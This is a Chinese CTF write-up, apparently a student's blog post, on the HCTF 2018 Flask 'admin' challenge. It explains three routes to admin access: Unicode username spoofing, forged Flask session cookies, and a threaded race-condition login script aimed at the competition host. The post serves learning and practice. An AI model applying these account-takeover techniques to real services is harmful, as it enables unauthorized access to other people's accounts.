0x00 初试
讲道理一开始摸到题以为是注入,目的也说了 以admin身份进入
然后尝试了手注和sqlmap结果啥都没有…
实在无奈开始观摩dl wp了
0x01 复现
a.unicode 欺骗
这也是最ez的一种吧…
register->login->change_password 该界面在源码看到hint
(所以说还是要养成看源码的好习惯呐)T^T
down下源码
是个flask
其实之前对flask没太了解
但我还是了解一些(之前做过flask_ssti来着)
通过 @app.route('xx路径') eg: @app.route('/index')
下面接函数
def index(): //函数名任意
return render_template('index.html',title='hctf')
函数捆绑路由(不知道这么说对不对)
看一下app目录,dl说不用想 重要的一定是route.py
(这点上我也有直觉了hhha,这可能是我和dl唯一相似的地方⑧)
这边看到两个比较奇怪的地方,本来py中自带的 str.lower()他们却不使用,反而自写了一个函数(一定有猫腻蛤)
dl们blog全说百度一下这个函数出漏洞
结果…
全是带火的刷题记录(tql…)
原本blog中的很多链接都g了,那我直接剽窃精华⑧…
原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可
转自:https://www.cnblogs.com/wangtanzhi/p/11861820.html
unicode字符表自找⑧
https://unicode-table.com/en/1D2E/
b.flask session伪造
flask是把session存在客户端的
转自:https://www.jianshu.com/p/278d4f59839d
其实看别人的blog我觉得都不太放心
这边直接看flask官方文档
https://flask.net.cn/api.html#sessions
Sessions
If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.
明确:
1.flask session是对cookie做了签名处理
2.用户可以看到session内容,如果已知secret_key,他们甚至能篡改session!
great!!great!!(以后也要养成看原文档的好习惯哦)
如果想深入学习flask session构建,拜读前wooyun核心白帽p牛blog
https://www.leavesongs.com/PENETRATION/client-session-security.html
github①下 flask_session (dbq 我tcl 不想自己写了)
GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
先自己建号登录之后
copy value->decode一下
在模板中看到会校验session[‘name’]
so change name --> admin
encode
改一下
great!
c.条件竞争
大概就是临界区未加锁的意思
该解法对服务器负荷较大,就不试了
看一下师傅们的script学习一下⑧
来自whitzard
import requests import threading
def login(s, username, password):
data = {'username': username, 'password':password, 'submit': ''}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {'newpassword':newpassword }
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'ddd', 'ddd')
change(s, 'qweqweabcabc')
def func2(s):
logout(s)
res = login(s, 'admin', 'qweqweabcabc')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start()
t2.start()
if __name__ == "__main__":
main()
Attention:
ddd需自己register
&& url更换为自己的靶场
原理
这边看到未有验证就对session[‘name’]直接赋值
那么就存在一种理想情况
一个进程不停以admin用户名进行登录,另一个进程我们自己创建任意用户然后改密码
0x02 tips
之前的wp都写在了shimo,但总觉得太闷了(奇怪的表现欲呢
还是个菜鸡,好好刷题好好打基础进步⑧